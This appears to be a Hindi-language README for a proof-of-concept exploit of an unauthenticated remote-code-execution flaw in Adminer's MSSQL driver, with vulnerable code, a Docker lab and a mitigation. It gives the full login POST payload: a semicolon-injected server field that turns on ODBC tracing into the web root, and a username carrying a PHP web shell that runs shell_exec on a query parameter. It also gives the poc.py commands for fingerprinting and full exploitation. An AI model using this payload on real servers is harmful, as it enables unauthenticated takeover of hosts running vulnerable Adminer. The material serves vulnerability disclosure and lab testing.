
PoC एक्सप्लॉइट Adminer < 5.4.3 के लिए MSSQL PDO DSN इंजेक्शन के माध्यम से बिना प्रमाणीकरण के RCE, जिसमें Docker लैब और नेगेटिव टेस्ट शामिल है।
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (विक्रेता सलाह) / GHSA-34q8-53jm-qc2r (GitHub DB) |
| उत्पाद | Adminer (एकल-फ़ाइल PHP डेटाबेस प्रबंधन उपकरण) |
| प्रभावित | pdo_sqlsrv + SQL Server के लिए Microsoft ODBC ड्राइवर वाला Adminer < 5.4.3 |
| संस्करण में ठीक किया गया | 5.4.3 |
| CVSS | 9.8 क्रिटिकल (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रकार | CWE-20 → बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन → RCE |
Adminer MSSQL कनेक्शन के लिए PDO DSN बनाने से पहले उपयोगकर्ता द्वारा प्रदान किए गए server फ़ील्ड को साफ़ करने में विफल रहता है:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
server में अर्धविराम को ODBC कनेक्शन-विशेषता विभाजक के रूप में माना जाता है, इसलिए एक बिना प्रमाणीकरण वाला हमलावर DSN में मनमानी विशेषताएँ जोड़ सकता है — जिसमें TraceFile और TraceOn शामिल हैं। unixODBC ट्रेस सुविधा पूर्ण कनेक्शन स्ट्रिंग (UID={username} शब्दशः सहित) को TraceFile में कनेक्शन प्रयास सफल होने से पहले और उसकी परवाह किए बिना लिखती है। username फ़ील्ड के माध्यम से PHP कोड इंजेक्ट करना और TraceFile को वेब रूट में इंगित करना एक वेब शेल उत्पन्न करता है।
एक भी बिना प्रमाणीकरण वाला लॉगिन POST पर्याप्त है। कोई मान्य क्रेडेंशियल नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं।
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1 बनाता हैUID={<?php ... ?>} युक्त एक ट्रेस /var/www/shell.php में लिखता हैGET /shell.php?c=id → कमांड निष्पादित होता है# केवल फ़िंगरप्रिंट
python3 poc.py --target http://target/adminer.php --check
# पूर्ण शोषण (वेब रूट में <random>.php लिखता है)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
प्रयोगशाला इमेज सलाह की पूर्वापेक्षाओं को बिल्कुल दर्शाती है: php:8.3-cli + pdo_sqlsrv (pecl) + msodbcsql18, वेब रूट PHP प्रक्रिया द्वारा लिखने योग्य है।
mssql ड्राइवर को हटाएँ/ब्लॉक करें, या रिवर्स प्रॉक्सी पर उपयोगकर्ता द्वारा प्रदान किए गए server मानों से ; (और व्हाइटस्पेस) हटाएँ।विक्रेता सलाह खोज का श्रेय संयुक्त रूप से रिपोर्टर और यशर शाहिनज़ादेह (@voorivex) को देती है।
PoC और प्रयोगशाला: हमज़ा काग्रीसी (@Boreas37)
| दिनांक | घटना |
|---|---|
| 2026-08-25 | CVE प्रकाशित / Adminer 5.4.3 में ठीक किया गया |